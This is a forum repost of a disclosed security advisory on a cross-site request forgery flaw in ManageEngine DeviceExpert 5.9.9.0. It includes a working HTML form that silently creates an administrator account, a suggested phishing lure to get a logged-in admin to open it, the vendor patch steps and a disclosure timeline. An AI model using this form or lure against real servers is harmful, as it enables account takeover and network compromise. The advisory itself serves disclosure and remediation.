Aerosol Posted March 24, 2015 Report Posted March 24, 2015 ===============================================================================CSRF to add admin user Vulnerability In Manage Engine Device Expert===============================================================================. contents:: Table Of ContentOverview========* Title : CSRF to add admin user Vulnerability In Manage Engine Device Expert* Author: Kaustubh G. Padwad* Plugin Homepage: http://www.manageengine.com/products/device-expert/* Severity: HIGH* Version Affected: Version 5.9.9.0 Build: 5990* Version Tested : Version 5.9.9.0 Build: 5990* version patched: Separate Patch release for all versionDescription ===========About the Product=================DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management.Vulnerable Parameter --------------------Create user formAbout Vulnerability-------------------This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an admin account into the application. This leads to compromising the whole domain as the application normally uses privileged domain account to perform administration tasks.Vulnerability Class=================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC)=========================* Add follwing code to webserver and send that malicious link to application Admin.* The admin should be loggedin when he clicks on the link.* Soical enginering might help here For Example :- Device password has been changed click here to reset####################CSRF COde#######################<html> <body> <form action="https://Server-IP:6060/STATE_ID/1423516534014/CreateUser.ve" method="POST"> <input type="hidden" name="loginName" value="hackerkaustubh" /> <input type="hidden" name="password" value="kaustubh" /> <input type="hidden" name="confirmpass" value="kaustubh" /> <input type="hidden" name="emailaddress" value="kingkaustubh@me.com" /> <input type="hidden" name="SEND_EMAIL" value="true" /> <input type="hidden" name="roles" value="Administrator" /> <input type="hidden" name="ComponentSelection" value="SpecificDevice" /> <input type="hidden" name="searchfield" value="--Search Devices--" /> <input type="hidden" name="DEVICEGROUPSELECTION" value="1" /> <input type="hidden" name="DeviceGroupDescription"/> value="This device group contains all the devices present in the inventory" /> <input type="hidden" name="QUERYID" value="-1" /> <input type="submit" value="Submit request" /> </form> </body></html>Mitigation ==========Receved from manage engine teamhttps://uploads.zohocorp.com/Internal_Useruploads/dnd/NetFlow_Analyzer/o_19ga51p951gblpbs1rkrm211vim1/vulnerabilities_Fix.zipOpen DeviceExper.zip1. Stop the Device Expert service. 2. Please replace AdvNCM.jar under DeviceExpert_Home/lib with the one under DeviceExpert.zip/AdvNCM.jar3. Start the Device Expert serviceChange Log==========Disclosure ==========11-February-2015 Reported to Developer13-February-2015 Acknodlagement from Developer13-March-2015 Fixed by developer16-March-2015 Requested a cve ID 21-March-2015 Public Disclosed credits=======* Kaustubh Padwad * Information Security Researcher* kingkaustubh@me.com * https://twitter.com/s3curityb3ast* http://breakthesec.com* https://www.linkedin.com/in/kaustubhpadwadSource Quote
